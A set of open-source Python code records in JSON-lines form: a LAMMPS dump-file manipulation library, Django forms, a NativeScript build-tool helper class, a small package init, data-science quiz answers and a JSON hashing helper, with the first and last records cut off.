dump_class_object.atoms[x] - (max(dump_class_object.atoms[x])/2)\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - (max(dump_class_object.atoms[y])/2)\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - (max(dump_class_object.atoms[z])/2)\n\n return dump_class_object\n\n elif type(translation_operation) == list:\n if all(isinstance(i, (float, int)) for i in translation_operation) and len(translation_operation) == 3:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + translation_operation[0]\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + translation_operation[1]\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + translation_operation[2]\n\n return dump_class_object\n\n\n else:\n raise Exception(\"Not a valid input to translation function custom list\")\n\n else:\n raise Exception(\"Not a valid input to translation function\")\n\n #writing out functions\n def write_dump_file(self,file_path:str,mode:str = \"a\",use_atomic:bool = False, use_atomic_numberofatoms:bool = False):\n \"\"\"\n This takes in a file path and writes a dumpFile class to the file path in\n standard lammps format\n\n write_lammps_dump(file_path:str,dump_class:dumpFile,mode:str = \"a\")\n\n file_path = path to file [str]\n mode = overwrite(\"w\") or append(\"a\") **default append [str]\n\n \"\"\"\n\n #Check if everythings within the ranges\n if mode == \"a\" or mode == \"w\":\n precision = dumpFile.class_tolerance#get writing precision\n #defining new object\n dump_class_object = copy.deepcopy(self)\n\n with open(file_path,mode) as file:\n file.write(\"ITEM: TIMESTEP \\n\")\n file.write(str(dump_class_object.sim_timestep))\n file.write(\"\\n\")\n file.write(\"ITEM: NUMBER OF ATOMS \\n\")\n\n if use_atomic == True or use_atomic_numberofatoms == True:\n file.write(str(dump_class_object.atomic_numberofatoms))\n else:\n if self.atomic_numberofatoms == self.sim_numberofatoms:\n file.write(str(dump_class_object.sim_numberofatoms))\n else:\n raise Exception(\"The number of atoms is now different than the simulation\")\n\n file.write(\"\\n\")\n file.write(\"ITEM: BOX BOUNDS \")\n\n if use_atomic == True:\n types = dump_class_object.atomic_boxbounds.loc[\"type\"].tolist()\n file.write(types[0]+\" \"+types[1]+\" \"+types[2])\n file.write(\"\\n\")\n lows = dump_class_object.atomic_boxbounds.loc[\"low\"].tolist()\n highs = dump_class_object.atomic_boxbounds.loc[\"high\"].tolist()\n file.write(str(round(lows[0],precision))+\" \"+str(round(highs[0],precision))+\"\\n\")\n file.write(str(round(lows[1],precision))+\" \"+str(round(highs[1],precision))+\"\\n\")\n file.write(str(round(lows[2],precision))+\" \"+str(round(highs[2],precision))+\"\\n\")\n\n else:\n if self.sim_xlo <= self.atomic_xlo and self.sim_ylo <= self.atomic_ylo and self.sim_zlo <= self.atomic_zlo and self.sim_xhi >= self.atomic_xhi and self.sim_yhi >= self.atomic_yhi and self.sim_zhi >= self.atomic_zhi:\n types = dump_class_object.sim_boxbounds.loc[\"type\"].tolist()\n file.write(types[0]+\" \"+types[1]+\" \"+types[2])\n file.write(\"\\n\")\n lows = dump_class_object.sim_boxbounds.loc[\"low\"].tolist()\n highs = dump_class_object.sim_boxbounds.loc[\"high\"].tolist()\n file.write(str(round(lows[0],precision))+\" \"+str(round(highs[0],precision))+\"\\n\")\n file.write(str(round(lows[1],precision))+\" \"+str(round(highs[1],precision))+\"\\n\")\n file.write(str(round(lows[2],precision))+\" \"+str(round(highs[2],precision))+\"\\n\")\n\n else:\n raise Exception(\"The atomic positions are not contained within the simulation positions\")\n\n file.write(\"ITEM: ATOMS \")\n\n\n dump_class_object.atoms.round(precision).to_csv(file_path,mode = \"a\", index = False,sep = ' ')\n del dump_class_object\n else:\n raise Exception('Mode entered for writing is not recognized [\"a\"= append to files, \"w\"= overwrite file]')\n\n\n def write_dump_to_data_format(self, file_path:str,mode:str = \"a\",use_atomic:bool = False, use_atomic_numberofatoms:bool = False):\n \"\"\"\n writes dumpFile class to a data file format\n\n mode = overwrite(\"w\") or append(\"a\") **default append [str]\n\n **this will only save the positions in data fromatting\n **primary use to write a initiallization data file for a lammps\n\n ** example\n\n # LAMMPS data file written by LammpsFileManipulation.py\n 275184 atoms\n 2 atom types\n 0.4892064609 119.789657019 xlo xhi\n -158.7268972078 158.7268972078 ylo yhi\n 0.4917072972 119.7871561826 zlo zhi\n\n Atoms # atomic\n\n 1 2 2.59911 -158.671 2.89486\n .\n .\n .\n\n \"\"\"\n if mode == \"a\" or mode == \"w\":\n precision = dumpFile.class_tolerance#get writing precision\n #defining new object\n dump_class_object = copy.deepcopy(self)\n\n id = dump_class_object.id\n type = dump_class_object.type\n x = dump_class_object.x_axis_cart\n y = dump_class_object.y_axis_cart\n z = dump_class_object.z_axis_cart\n\n with open(file_path,\"w\") as file:\n file.write(\"# LAMMPS data file written by LammpsFileManipulation.py \\n\")\n\n if use_atomic == True or use_atomic_numberofatoms == True:\n file.write(str(dump_class.atomic_numberofatoms))\n else:\n if self.sim_numberofatoms == self.atomic_numberofatoms:\n file.write(str(dump_class.sim_numberofatoms))\n else:\n raise Exception(\"The number of atoms of the simulation has changed\")\n\n file.write(\" atoms \\n\")\n file.write(str(max(dump_class.atoms[\"type\"])))\n file.write(\" atom types \\n\")\n if use_atomic == True:\n file.write(str(round(dump_class_object.atomic_xlo,precision))+\" \"+str(round(dump_class_object.atomic_xhi,precision))+\" xlo xhi\\n\")\n file.write(str(round(dump_class_object.atomic_ylo,precision))+\" \"+str(round(dump_class_object.atomic_yhi,precision))+\" ylo yhi\\n\")\n file.write(str(round(dump_class_object.atomic_zlo,precision))+\" \"+str(round(dump_class_object.atomic_zhi,precision))+\" zlo zhi\\n\")\n else:\n if self.sim_xlo <= self.atomic_xlo and self.sim_ylo <= self.atomic_ylo and self.sim_zlo <= self.atomic_zlo and self.sim_xhi <= self.atomic_xhi and self.sim_yhi <= self.atomic_yhi and self.sim_zhi <= self.atomic_zhi:\n file.write(str(round(dump_class_object.sim_xlo,precision))+\" \"+str(round(dump_class_object.sim_xhi,precision))+\" xlo xhi\\n\")\n file.write(str(round(dump_class_object.sim_ylo,precision))+\" \"+str(round(dump_class_object.sim_yhi,precision))+\" ylo yhi\\n\")\n file.write(str(round(dump_class_object.sim_zlo,precision))+\" \"+str(round(dump_class_object.sim_zhi,precision))+\" zlo zhi\\n\")\n else:\n raise Exception(\"The atomic data positions are not contained in the simulation bounds\")\n file.write(\"\\n\\n\")\n file.write(\"Atoms # atomic\\n\\n\")\n\n dump_class.atoms[[id,type, x, y, z]].round(precision).to_csv(file_path,mode = \"a\", index = False,header = False ,sep = ' ')\n del dump_class_object\n\n else:\n raise Exception('Mode entered for writing is not recognized [\"a\"= append to files, \"w\"= overwrite file]')\n\ndef group_translate(dump_files, translation_operation):\n \"\"\"\n This takes in a group of dumps in the dictionary format of class and ####translates\n them as a group the same amount###\n\n because of the nature of this operation the values must be found first therefore\n when not using a custom transform the function loops through adding a small\n amount of time to this practice\n\n proper call:\n translated = group_translate(dump_files,quadrent)\n\n dump_files = {id:class,...}\n\n The predefined quadrent operations will make sure one boundry is a 0 0 0\n\n quadrent = x y z\n 0 = centered at 0 0 0\n 1 = + + +\n 2 = + + -\n 3 = + - +\n 4 = + - -\n 5 = - + +\n 6 = - + -\n 7 = - - +\n 8 = - - -\n\n Custom Transform:\n The value is added to the atoms direction from the list in order [x_shift, y_shift, z_shift]\n\n \"\"\"\n #if custom translation\n\n #getting max and min boundings\n id = dumpFile.id\n x = dumpFile.x_axis_cart\n y = dumpFile.y_axis_cart\n z = dumpFile.z_axis_cart\n\n if type(translation_operation) == list:\n if all(isinstance(i, (float, int)) for i in translation_operation) and len(translation_operation) == 3:\n tran_x = translation_operation[0]\n tran_y = translation_operation[1]\n tran_z = translation_operation[2]\n\n else:\n raise Exception(\"Not a valid input to translation function custom list\")\n else:\n\n for ind,dump_class_id in enumerate(dump_files):\n dump_class = dump_files[dump_class_id]\n atomic_data = dump_class.atoms\n #get comparision values\n x_low_t = min(atomic_data[x])\n y_low_t = min(atomic_data[y])\n z_low_t = min(atomic_data[z])\n x_max_t = max(atomic_data[x])\n y_max_t = max(atomic_data[y])\n z_max_t = max(atomic_data[z])\n x_sh_max_t = max(atomic_data[x])-min(atomic_data[x])\n y_sh_max_t = max(atomic_data[y])-min(atomic_data[y])\n z_sh_max_t = max(atomic_data[z])-min(atomic_data[z])\n\n if ind == 0:\n #establishes starting point\n x_low = x_low_t\n y_low = y_low_t\n z_low = z_low_t\n x_max = x_max_t\n y_max = y_max_t\n z_max = z_max_t\n x_sh_max = x_sh_max_t\n y_sh_max = y_sh_max_t\n z_sh_max = z_sh_max_t\n\n\n #updating values if needed\n if x_low_t < x_low:\n x_low = x_low_t\n if y_low_t < y_low:\n y_low = y_low_t\n if z_low_t < z_low:\n z_low = z_low_t\n if x_max_t > x_max:\n x_max = x_max_t\n if y_max_t > y_max:\n y_max = y_max_t\n if z_max_t > z_max:\n z_max = z_max_t\n if x_sh_max_t > x_sh_max:\n x_sh_max = x_sh_max_t\n if y_sh_max_t > y_sh_max:\n y_sh_max = y_sh_max_t\n if z_sh_max_t > z_sh_max:\n z_sh_max = z_sh_max_t\n\n #getting correction direction for minimums\n if x_low > 0:\n dir_x = -1\n else:\n dir_x = 1\n\n if y_low > 0:\n dir_y = -1\n else:\n dir_y = 1\n\n if z_low > 0:\n dir_z = -1\n else:\n dir_z = 1\n\n #translating\n\n if translation_operation == 0:\n tran_x = -(x_max-x_low)/2 + dir_x*x_low\n tran_y = -(y_max-y_low)/2 + dir_y*y_low\n tran_z = -(z_max-z_low)/2 + dir_z*z_low\n\n elif translation_operation == 1:\n tran_x = -x_low\n tran_y = -y_low\n tran_z = -z_low\n\n elif translation_operation == 2:\n tran_x = -x_low\n tran_y = -y_low\n tran_z = -z_low-z_sh_max\n\n elif translation_operation == 3:\n tran_x = -x_low\n tran_y = -y_low-y_sh_max\n tran_z = -z_low\n\n elif translation_operation == 4:\n tran_x = -x_low\n tran_y = -y_low-y_sh_max\n tran_z = -z_low-z_sh_max\n\n elif translation_operation == 5:\n tran_x = -x_low-x_sh_max\n tran_y = -y_low\n tran_z = -z_low\n\n elif translation_operation == 6:\n tran_x = -x_low-x_sh_max\n tran_y = -y_low\n tran_z = -z_low-z_sh_max\n\n elif translation_operation == 7:\n tran_x = -x_low-x_sh_max\n tran_y = -y_low-y_sh_max\n tran_z = -z_low\n\n elif translation_operation == 8:\n tran_x = -x_low-x_sh_max\n tran_y = -y_low-y_sh_max\n tran_z = -z_low-z_sh_max\n\n\n\n else:\n raise Exception(\"Not a valid input to translation function\")\n\n #transforming classes\n translated_dump_files = {}\n for dump_class_id in dump_files:\n translated_dump_files[dump_class_id] = dump_files[dump_class_id].translate([tran_x,tran_y,tran_z])\n\n return translated_dump_files\n\n\ndef multiple_timestep_singular_file_dumps(file_path:str,ids:list = [\"TimestepDefault\"]):\n \"\"\"\n this opens a multi-timestep lammps dump and converts it to a dictionary of\n dumpFile classes with the keys set to the timesteps\n\n ids:list = [\"TimestepDefault\"]\n ids are set to the dumpclass timestep by default however if there are duplicates\n this will override the timesteps so you can define the ids for the dictionary\n \"\"\"\n dump_files = {} #dictionary of class\n\n raw_data = pd.read_csv(file_path,header = None)#getting data\n indexes = raw_data.index[raw_data[0] == \"ITEM: TIMESTEP\"].tolist()#getting splitting indexes\n\n if len(ids) == len(indexes) or ids == [\"TimestepDefault\"]:\n\n #splitting and iterating through pandas dataFrame\n for ind, index in enumerate(indexes):\n\n if ind < len(indexes)-1:\n #all except last index\n df = raw_data.loc[index:indexes[ind+1]-1,:]#making new dataFrame\n dump_class = dumpFile.pandas_to_dumpfile(df)#dump class processing\n\n else:\n #last index\n df = raw_data.loc[index:len(raw_data)+1,:]#making new dataFrame\n dump_class = dumpFile.pandas_to_dumpfile(df)#dump class processing\n\n #adding to dictionary\n if ids == [\"TimestepDefault\"]:\n #using timestep to insert\n dump_files[int(dump_class.timestep)] = dump_class\n else:\n #using custom id\n dump_files[ids[ind]] = dump_class\n\n return dump_files\n\n\n else:\n warnings.warn(\"Length of ids list is not equal to files list length\")\n\n\ndef batch_import_files(file_paths:list,ids:list = [\"TimestepDefault\"]):\n \"\"\"\n this opens several lammps dumps and converts it to a dictionary of\n dumpFile classes with the keys set to the timesteps\n\n ids:list = [\"TimestepDefault\"]\n ids are set to the dumpclass timestep by default however if there are duplicates\n this will override the timesteps so you can define the ids for the dictionary\n \"\"\"\n if len(ids) == len(file_paths) or ids == [\"TimestepDefault\"]:\n\n dump_files = {} #dictionary of class\n\n for ind,file_path in enumerate(file_paths):\n #importing class\n dump_class = dumpFile.lammps_dump(file_path)\n\n #adding to dictionary\n if ids == [\"TimestepDefault\"]:\n #using timestep to insert\n dump_files[int(dump_class.timestep)] = dump_class\n else:\n #using custom id\n dump_files[ids[ind]] = dump_class\n\n return dump_files\n\n\n else:\n warnings.warn(\"Length of ids list is not equal to files list length\")\n\n\ndef merge(dump_class_1:dumpFile,dump_class_2:dumpFile)->dumpFile:\n \"\"\"\n This is an alternative merge method to addition or using pandas\n\n The main difference between this and simply adding is that this will not\n check compatability with the class it will simply add the atoms dataframe\n unique columns to the the leftmost dumpFile object\n\n the leftmost is the main one for all overlapping column names the left will\n be used\n \"\"\"\n\n unique_columns = np.setdiff1d(dump_class_2.atoms.columns.tolist(),dump_class_1.atoms.columns.tolist())\n\n atomic_data = dump_class_1.atoms.join(dump_class_2.atoms[unique_columns])#merged atoms\n\n return dumpFile(dump_class_1.sim_timestep,dump_class_1.sim_numberofatoms,dump_class_1.sim_boxbounds,atomic_data)\n\ndef cart_slice(dump_class_to_slice:dumpFile,xlo,xhi,ylo,yhi,zlo,zhi):\n \"\"\"\n \"Slices\" a dumpclass based on given x y z bounds\n\n this means all the atoms in a given volume are selected making a new class\n LEAVING THE SIMULATION VALUES THE SAME\n \"\"\"\n dump_class = copy.deepcopy(dump_class_to_slice)#copying to return a new one\n\n df = dump_class.atoms\n dump_class.atoms = df[(df[dump_class.x_axis_cart] <= xhi) & (xlo <= df[dump_class.x_axis_cart]) & (df[dump_class.y_axis_cart] <= yhi) & (ylo <= df[dump_class.y_axis_cart]) & (df[dump_class.z_axis_cart] <= zhi) & (zlo <= df[dump_class.z_axis_cart])]\n\n return dump_class\n\ndef bin_count(dump_class:dumpFile,axis,number_of_bins,overlap_proportion = 0.0)-> pd.DataFrame:\n \"\"\"\n given a dumpFile class axis number_of_bins and overlap this will make a list of how\n many atoms are in the given area\n\n number_of_bins[int] = the number of bins\n overlap_proportion[float] = proportional overal of the bins 1 full bin [0,1]\n\n\n axis = \"x\" or \"y\" or \"z\"\n \"\"\"\n\n counts = []#list of the counted atoms\n low_bound = []#list of the low bounds\n high_bound = []#list of the high bounds\n\n if axis == \"x\":\n #find thickness\n thickness = (abs(dump_class.atomic_xhi)+abs(dump_class.atomic_xlo))/(number_of_bins*(1-overlap_proportion))\n overlap = thickness*overlap_proportion\n\n #get bounds for slice\n ylo = dump_class.atomic_ylo\n yhi = dump_class.atomic_yhi\n zlo = dump_class.atomic_zlo\n zhi = dump_class.atomic_zhi\n xlo = dump_class.atomic_xlo\n xhi = xlo+thickness\n\n itter = 0;\n\n while xhi <= dump_class.atomic_xhi:\n\n boxed = cart_slice(dump_class,xlo,xhi,ylo,yhi,zlo,zhi)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(xlo)\n high_bound.append(xhi)\n\n if overlap_proportion != 0.0 and itter!= 0:\n boxed = cart_slice(dump_class,xlo-overlap,xhi-overlap,ylo,yhi,zlo,zhi)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(xlo-overlap)\n high_bound.append(xhi-overlap)\n\n\n xlo = xlo+thickness\n xhi = xhi+thickness\n\n itter = 1\n\n count_df = pd.DataFrame(data = [counts,low_bound,high_bound], index = [\"bin_counts\",\"lower_bound\",\"higher_bound\"]).transpose()\n return count_df\n\n elif axis == \"y\":\n #find thickness\n thickness = (abs(dump_class.atomic_yhi)+abs(dump_class.atomic_ylo))/(number_of_bins*(1-overlap_proportion))\n overlap = thickness*overlap_proportion\n\n #get bounds for slice\n xlo = dump_class.atomic_xlo\n xhi = dump_class.atomic_xhi\n zlo = dump_class.atomic_zlo\n zhi = dump_class.atomic_zhi\n ylo = dump_class.atomic_ylo\n yhi = ylo+thickness\n\n itter = 0;\n\n while yhi <= dump_class.atomic_yhi:\n\n boxed = cart_slice(dump_class,xlo,xhi,ylo,yhi,zlo,zhi)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(ylo)\n high_bound.append(yhi)\n\n if overlap_proportion != 0.0 and itter!= 0:\n boxed = cart_slice(dump_class,xlo,xhi,ylo-overlap,yhi-overlap,zlo,zhi)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(ylo-overlap)\n high_bound.append(yhi-overlap)\n\n\n ylo = ylo+thickness\n yhi = yhi+thickness\n\n itter =1\n\n\n count_df = pd.DataFrame(data = [counts,low_bound,high_bound], index = [\"bin_counts\",\"lower_bound\",\"higher_bound\"]).transpose()\n return count_df\n\n elif axis == \"z\":\n #find thickness\n thickness = (abs(dump_class.atomic_zhi)+abs(dump_class.atomic_zlo))/(number_of_bins*(1-overlap_proportion))\n overlap = thickness*overlap_proportion\n\n #get bounds for slice\n ylo = dump_class.atomic_ylo\n yhi = dump_class.atomic_yhi\n xlo = dump_class.atomic_xlo\n xhi = dump_class.atomic_xhi\n zlo = dump_class.atomic_zlo\n zhi = zlo+thickness\n\n itter = 0;\n\n while zhi <= dump_class.atomic_zhi:\n\n boxed = cart_slice(dump_class,xlo,xhi,ylo,yhi,zlo,zhi)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(zlo)\n high_bound.append(zhi)\n\n if overlap_proportion != 0.0 and itter!= 0:\n boxed = cart_slice(dump_class,xlo,xhi,ylo,yhi,zlo-overlap,zhi-overlap)\n counts.append(boxed.atomic_numberofatoms)\n low_bound.append(zlo-overlap)\n high_bound.append(zhi-overlap)\n\n\n zlo = zlo+thickness\n zhi = zhi+thickness\n\n itter = 1\n\n count_df = pd.DataFrame(data = [counts,low_bound,high_bound], index = [\"bin_counts\",\"lower_bound\",\"higher_bound\"]).transpose()\n return count_df\n\n else:\n raise Exception(\"Could not finish bin_count operation\")\n\n\ndump_file = dumpFile.lammps_dump(r\"D:\\Mines REU\\Data\\CU_GBs\\NVT\\GMM Batch NEGB 441 NVT\\Moments.Tmin.441.0\")\nprint(dump_file)\n", "source": "AaronSchwan/LammpsFileManipulation", "license": "MIT"} {"text": "from django import forms\nfrom django.contrib.auth.models import User\nfrom .models import Profile, Posts, Business, Area\n\n\nclass EditProfileForm(forms.ModelForm):\n class Meta:\n model = Profile\n exclude = ('user', 'location')\n \nclass AreaForm(forms.ModelForm):\n class Meta:\n model = Area\n exclude = ('admin',)\n\nclass BusinessForm(forms.ModelForm):\n class Meta:\n model = Business\n exclude = ('owner', 'hood', 'bs_logo')\n\n\n\nclass PostForm(forms.ModelForm):\n class Meta:\n model = Posts\n exclude = ('user', 'hood')", "source": "Lenus254/NeighbourHood-App", "license": "MIT"} {"text": "\"\"\"\n Product Name: BuildTool\n Author: Aleksej Zaicev\n\n Copyright 2019\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\nimport queue\nfrom collections import namedtuple\n\n# DIRECTORIES\nisWin = False\nisUnix = False\n\nif sys.platform.lower() == \"win32\" or sys.platform.lower() == \"cygwin\":\n isWin = True\nelif \"linux\" in sys.platform.lower() or \"darwin\" in sys.platform.lower():\n isUnix = True\n\nif isWin:\n ROOT = \"C:\\\\Users\\\\%s\\\\AppData\\\\Local\\\\BuildTool\\\\\" % os.environ.get('USERNAME')\n WORKSPACE = ROOT + \"Workspace\\\\\"\n LOGS = ROOT + \"Logs\\\\\"\n CONFIG_FILE = ROOT + \"config.json\"\nelif isUnix:\n ROOT = \"/usr/local/bin/BuildTool/\"\n WORKSPACE = ROOT + \"Workspace/\"\n LOGS = ROOT + \"Logs/\"\n CONFIG_FILE = ROOT + \"config.json\"\n\nPROJECT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__))[:-4], \"resources\")\n\n\nclass Helpers:\n \"\"\"\n Build Tool Helper singleton\n \"\"\"\n\n PRE_BUILD_RULES = list()\n POST_BUILD_RULES = list()\n CONFIGURATION = None\n JOBS = queue.Queue()\n\n # TERMINAL COLORS\n RED = \"\\033[1;31m\"\n BLUE = \"\\033[1;34m\"\n CYAN = \"\\033[1;36m\"\n GREEN = \"\\033[0;32m\"\n RESET = \"\\033[0;0m\"\n BOLD = \"\\033[;1m\"\n REVERSE = \"\\033[;7m\"\n\n # COMMANDS\n CMD_GIT_CLONE = \"CMD_0\"\n CMD_GIT_FETCH = \"CMD_1\"\n CMD_GIT_CHECKOUT = \"CMD_2\"\n CMD_GIT_PULL = \"CMD_3\"\n CMD_TNS_VERSION = \"CMD_4\"\n CMD_TNS_INSTALL = \"CMD_5\"\n CMD_TNS_BUILD_ANDROID = \"CMD_6\"\n CMD_TNS_BUILD_IOS = \"CMD_7\"\n CMD_TNS_TEST_ANDROID = \"CMD_8\"\n CMD_TNS_TEST_IOS = \"CMD_9\"\n CMD_TNS_DOCTOR = \"CMD_10\"\n CMD_TNS_BUNDLE_ANDROID = \"CMD_11\"\n CMD_TNS_BUNDLE_IOS = \"CMD_12\"\n\n # JOB TYPES\n JOB_GIT = \"JOB_0\"\n JOB_TNS = \"JOB_1\"\n\n MSG_INFO = \"INFO\"\n MSG_ERR = \"ERROR\"\n MSG_WARNING = \"WARNING\"\n\n def __new__(cls, *args, **kwargs):\n from interfaces import BuildToolError\n raise BuildToolError(\"Cannot instantiate static classes\")\n\n def __init__(self):\n from interfaces import BuildToolError\n raise BuildToolError(\"Cannot instantiate static classes\")\n\n @staticmethod\n def cmd_list(cmd):\n return cmd.split(\" \")\n\n @staticmethod\n def parse_repo(url, user, token):\n \"\"\"\n Parse GIT repository(HTTPS) with username and token\n\n :param url: Repository url\n :param user: GitHub username\n :param token: GitHub Access Token\n :return: parsed Git HTTPS url\n \"\"\"\n\n return \"https://%s:%s@%s\" % (\n user, token, url[8:]\n )\n\n @staticmethod\n def get_repo_name(url):\n \"\"\"\n Get Repository name from url\n\n :param url: Repository url\n :return: Repository name\n \"\"\"\n\n sa = url.split(\"/\")\n return sa[len(sa) - 1].split(\".\")[0]\n\n @staticmethod\n def execute_pre_build_rules(cfg, worker_id, logger):\n \"\"\"\n Pre-Build rules executor\n \"\"\"\n\n logger.printer(\"Executing pre-build rules\", Helpers.MSG_INFO)\n for br in Helpers.PRE_BUILD_RULES:\n br.execute_rule(cfg, worker_id, logger)\n\n @staticmethod\n def execute_post_build_rules(cfg, worker_id, logger):\n \"\"\"\n Pre-Build rules executor\n \"\"\"\n logger.printer(\"Executing post-build rules\", Helpers.MSG_INFO)\n for br in Helpers.POST_BUILD_RULES:\n br.execute_rule(cfg, worker_id, logger)\n\n @staticmethod\n def remove_dir(name):\n \"\"\"\n Directory removing function\n\n :param name: Directory path\n \"\"\"\n\n from interfaces import BuildToolFileAccessError, BuildToolError\n failed, out = True, None\n try:\n if isWin:\n failed, out = Helpers.perform_command((\"rmdir\", \"/Q\", \"/S\", name), shell=True)\n elif isUnix:\n failed, out = Helpers.perform_command((\"rm\", \"-rf\", name))\n if failed:\n if \"ACCESS\" in out:\n raise BuildToolFileAccessError()\n else:\n raise BuildToolError(\"Failed to remove directory %s\" % name)\n except subprocess.CalledProcessError:\n from interfaces import BuildToolError\n raise BuildToolError(\"Failed to remove directory %s\" % name)\n\n @staticmethod\n def remove_file(name):\n \"\"\"\n File removing function\n\n :param name: Directory path\n \"\"\"\n\n from interfaces import BuildToolFileAccessError, BuildToolError\n failed, out = True, None\n try:\n if isWin:\n failed, out = Helpers.perform_command((\"del\", \"/f\", name), shell=True)\n elif isUnix:\n failed, out = Helpers.perform_command((\"rm\", \"-f\", name))\n if failed:\n if \"ACCESS\" in out:\n raise BuildToolFileAccessError()\n else:\n raise BuildToolError(\"Failed to remove file %s\" % name)\n except subprocess.CalledProcessError:\n from interfaces import BuildToolError\n raise BuildToolError(\"Failed to remove file %s\" % name)\n\n @staticmethod\n def json_converter(data, typename):\n def __json_object_hook(d):\n return namedtuple(typename=typename, field_names=d.keys())(*d.values())\n\n return json.load(data, object_hook=__json_object_hook)\n\n @staticmethod\n def create_config():\n \"\"\"\n Generic config generator\n \"\"\"\n\n config = {\n \"jobs\": [\n {\n \"type\": None,\n \"name\": None,\n \"repository\": None,\n \"branch\": \"master\",\n \"username\": None,\n \"token\": None,\n \"timer\": 10,\n \"enabled\": False,\n \"android\": {\n \"build\": False,\n \"webpack\": {\n \"bundle\": False,\n \"uglify\": False\n },\n \"test\": False\n },\n \"ios\": {\n \"build\": False,\n \"webpack\": {\n \"bundle\": False,\n \"uglify\": False\n },\n \"test\": False\n }\n }\n ]\n }\n with open(CONFIG_FILE, 'w+') as f:\n json.dump(config, f, ensure_ascii=False)\n f.close()\n\n @staticmethod\n def read_config():\n \"\"\"\n Configuration file reader\n\n :return: Configuration dictionary\n \"\"\"\n\n from interfaces import BuildToolError\n try:\n with open(CONFIG_FILE, \"r\") as f:\n cfg = json.load(f)\n f.close()\n except json.JSONDecodeError or FileNotFoundError:\n raise BuildToolError(\n \"Build Tool failed to load configuration. Ensure you set\" +\n \" your configuration correctly and re-run the Build Tool\")\n return cfg\n\n @staticmethod\n def print_with_stamp(msg, status):\n \"\"\"\n Method adds time stamp on the print output\n\n :param msg: Message to print\n :param status: Message status\n \"\"\"\n print(\"%s --- %s --- %s\" % (datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"), status, msg))\n\n @staticmethod\n def print_build_status(failed=True, msg=None):\n \"\"\"\n Methods prints build status message\n\n :param failed: Build status\n :param msg: Message to print\n \"\"\"\n\n if failed:\n if msg is not None:\n Helpers.print_with_stamp(msg, Helpers.MSG_ERR)\n Helpers.print_with_stamp(\"%sBUILD FAILED\" % Helpers.RED, Helpers.MSG_ERR)\n else:\n if msg is not None:\n Helpers.print_with_stamp(msg, Helpers.MSG_INFO)\n Helpers.print_with_stamp(\"%sBUILD SUCCESS\" % Helpers.GREEN, Helpers.MSG_INFO)\n print(Helpers.RESET)\n\n @staticmethod\n def perform_command(cmd=tuple(), shell=None, logger=None):\n \"\"\"\n Shell command executor\n\n :param cmd: Command, option and argument list\n :param shell: Is shell command\n :param logger: Worker logger\n \"\"\"\n if shell is None:\n shell = isWin and not isUnix\n try:\n sp = subprocess.Popen(cmd, shell=shell, stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n while True:\n if sp.stderr is not None:\n line = sp.stderr.readline()\n if line:\n if sp.returncode != 0 and sp.returncode is not None:\n return True, \"Build failed with status code {}\".format(sp.returncode)\n\n line = str(sp.stdout.readline(), \"UTF-8\")[:-1]\n if not line and sp.poll() is not None:\n break\n elif \"BUILD\" in line and \"FAILED\" in line:\n return True, \"Build failed with status code {}\".format(sp.returncode)\n elif \"process cannot access the file\" in line:\n return True, \"ACCESS\"\n\n if len(line) > 0:\n if logger is None:\n Helpers.print_with_stamp(msg=line, status=Helpers.MSG_INFO)\n else:\n logger.printer(msg=line, msg_type=Helpers.MSG_INFO)\n sp.kill()\n except subprocess.CalledProcessError as ex:\n return True, str(ex)\n return False, \"\"\n\n @staticmethod\n def check_dirs():\n \"\"\"\n Workspace hierarchy checker\n \"\"\"\n\n import interfaces\n if not os.path.exists(ROOT):\n os.mkdir(ROOT)\n os.mkdir(WORKSPACE)\n elif not os.path.exists(WORKSPACE):\n os.mkdir(WORKSPACE)\n Helpers.create_config()\n elif not os.path.exists(CONFIG_FILE):\n Helpers.create_config()\n raise interfaces.BuildToolError(\"Build Tool not configured\")\n\n if not os.path.exists(LOGS):\n os.mkdir(LOGS)\n", "source": "alexZaicev/BuildTool", "license": "Apache-2.0"} {"text": "from . import types\nfrom . import utils\nfrom .api import Telegraph\nfrom .utils import exceptions\n\n__all__ = ['Telegraph', 'types', 'utils', 'exceptions']\n\n__version__ = '0.2.2'\n", "source": "Yyonging/aiograph", "license": "MIT"} {"text": "import pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score, mean_squared_error\n\n\ndf = pd.read_csv('./survey_results_public.csv')\nschema = pd.read_csv('./survey_results_schema.csv')\n\n### Imputation Methods\n#Question 1\nquestion1_solution = {'Column A is': 'quantitative',\n 'Column B is': 'quantitative',\n 'Column C is': 'we cannot tell',\n 'Column D is': 'boolean - can treat either way',\n 'Column E is': 'categorical',\n }\n\n#Question 2\nshould_we_drop = 'Yes'\n\n#Question 3\nimpute_q3 = {'Filling column A': \"is no problem - it fills the NaN values with the mean as expected.\",\n 'Filling column D': \"fills with the mean, but that doesn't actually make sense in this case.\",\n 'Filling column E': \"gives an error.\"}\n\n#Question 4\nimpute_q4 = {'Filling column A': \"Did not impute the mode.\",\n 'Filling column D': \"Did not impute the mode.\",\n 'Filling column E': \"Imputes the mode.\"}", "source": "erdemdemir35/DSND_Term2", "license": "MIT"} {"text": "import json\nimport hashlib\n\ndef hash(object, algorithm=None):\n \"\"\"return hash object for object\n\n object might be None, int, float, dict or array\n\n \"\"\"\n if algorithm is None:\n algorithm = hashlib.sha256\n\n data_string = json.dumps(object,\n skipkeys=False,\n ensure_ascii=False,\n check_circular=True,\n allow_nan=True,\n cls=None,\n indent=None,\n separators=(',', ':'),\n encoding=\"utf-8\",\n default=None,\n sort_keys=True)\n\n return algorithm(data_string)\n", "source": "FlorianLudwig/jsonhash", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3 -u\n# Guangsheng Bao: changed on 2020/10/3\n#\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# 